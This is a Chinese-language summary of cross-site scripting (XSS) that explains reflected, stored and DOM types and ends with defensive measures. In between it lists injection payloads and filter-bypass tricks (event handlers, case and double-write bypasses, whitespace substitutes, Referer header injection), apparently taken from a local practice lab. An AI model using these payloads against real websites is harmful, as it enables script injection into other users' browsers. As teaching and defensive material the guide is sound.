xss总结
字数 944 2025-08-22 12:23:41
XSS漏洞全面解析与防御指南
XSS漏洞概述
跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。XSS漏洞主要分为三种类型:
- 反射型XSS:恶意脚本通过用户请求即时反射回浏览器执行
- 存储型XSS:恶意脚本被存储在服务器上,随后在用户请求时发送到浏览器执行
- DOM型XSS:通过客户端脚本直接修改DOM引入恶意代码
DOM型XSS详解
DOM型XSS是一种特殊类型的反射型XSS,基于文档对象模型(DOM)的漏洞。特点包括:
- 完全在客户端执行,不涉及服务器交互
- 通过操作HTML或CSS实现攻击
- 利用HTML属性、方法和事件注入恶意代码
常见DOM XSS触发点
document.referer属性window.name属性location属性innerHTML属性document.write属性
XSS攻击向量与绕过技术
1. 基本攻击向量
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
2. 无尖括号攻击
' onclick='alert(1)'
hello' onmouseover='javascript:alert(1)'
javascript:alert(1)
3. 大小写绕过
<Script>alert(1);</Script>
4. 双写绕过
" oonnclick="alert(1)"
5. HTML实体编码绕过
javascript:alert(1); 编码后: javascript:alert(1);
6. 注释绕过
// 把http://注释掉
7. 空格绕过替代方案
%09水平制表符(Tab字符)%0a换行%0b垂直制表符%0c换页符%0d回车符%a0不间断空格
8. 无害探测标签
<s>123</s>
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#tExtArEa><s>123#//--+<script>alert(1);</script>
攻击入口点
- URL参数:直接注入到页面输出中
- Referer头:可通过工具如Postman或BurpSuite修改
- User-Agent头:伪造UA字符串包含恶意脚本
- Cookie参数:如user字段可能被输出到页面
Referer攻击示例
在请求头中注入:
Referer: " type="text" onmousemove="alert(1)
文件包含攻击
http://127.0.0.1/xss/level15.php?src='level1.php?name=<a href="javascript:alert(1)">'
防御措施
- 输入验证:严格验证所有用户输入
- 输出编码:对输出到页面的数据进行HTML编码
- CSP策略:实施内容安全策略限制脚本执行
- HttpOnly标志:为敏感cookie设置HttpOnly
- X-XSS-Protection头:启用浏览器内置XSS过滤器
- 避免危险API:如
innerHTML、document.write等
总结
XSS攻击手段多样且不断演进,防御需要多层次的安全措施。理解各种XSS类型及其攻击向量是构建有效防御的基础。开发人员应始终保持警惕,对所有用户输入进行严格处理和验证。